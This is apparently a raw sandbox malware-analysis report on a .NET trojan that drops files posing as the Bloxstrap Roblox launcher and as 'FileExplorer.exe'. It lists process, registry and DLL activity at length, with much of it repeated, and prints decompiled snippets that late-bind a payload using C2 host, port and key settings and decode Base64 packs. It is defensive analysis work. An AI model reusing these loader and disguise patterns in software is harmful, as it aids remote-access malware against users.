Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@26/97@25/13

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

File created: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\XClient.exe	Mutant created: \Sessions\1\BaseNamedObjects\SXJOPv2u5QpF0aEa
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Mutant created: \Sessions\1\BaseNamedObjects\tfd3e1eBlYcUyKek3

Source: unknown	Process created: C:\Users\user\AppData\Roaming\FileExplorer.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FileExplorer.exe

Source: CZxDiTktSY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: CZxDiTktSY.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: CZxDiTktSY.exe

ReversingLabs: Detection: 63%

Source: Bloxstrap-v2.8.1.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: Bloxstrap-v2.8.1.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed

Source: unknown	Process created: C:\Users\user\Desktop\CZxDiTktSY.exe "C:\Users\user\Desktop\CZxDiTktSY.exe"
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process created: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe "C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe"
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process created: C:\Users\user\AppData\Roaming\XClient.exe "C:\Users\user\AppData\Roaming\XClient.exe"
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FileExplorer.exe "C:\Users\user\AppData\Roaming\FileExplorer.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FileExplorer.exe "C:\Users\user\AppData\Roaming\FileExplorer.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5180 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process created: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe "C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process created: C:\Users\user\AppData\Roaming\XClient.exe "C:\Users\user\AppData\Roaming\XClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5180 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Jump to behavior

Source: CZxDiTktSY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: CZxDiTktSY.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: CZxDiTktSY.exe

Static file information: File size 11770880 > 1048576

Source: CZxDiTktSY.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0xb18a00

Source: CZxDiTktSY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdb source: Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdbiiiGCTL source: Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb source: Unconfirmed 798106.crdownload.3.dr
Source:	Binary string: D:\a\bloxstrap\bloxstrap\Bloxstrap\obj\Release\net6.0-windows\win-x64\Bloxstrap.pdb source: Bloxstrap-v2.8.1.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb/ source: Unconfirmed 798106.crdownload.3.dr
Source:	Binary string: D:\a\bloxstrap\bloxstrap\Bloxstrap\obj\Release\net6.0-windows\win-x64\Bloxstrap.pdbSHA256 source: Bloxstrap-v2.8.1.exe.0.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: XClient.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XClient.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: FileExplorer.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
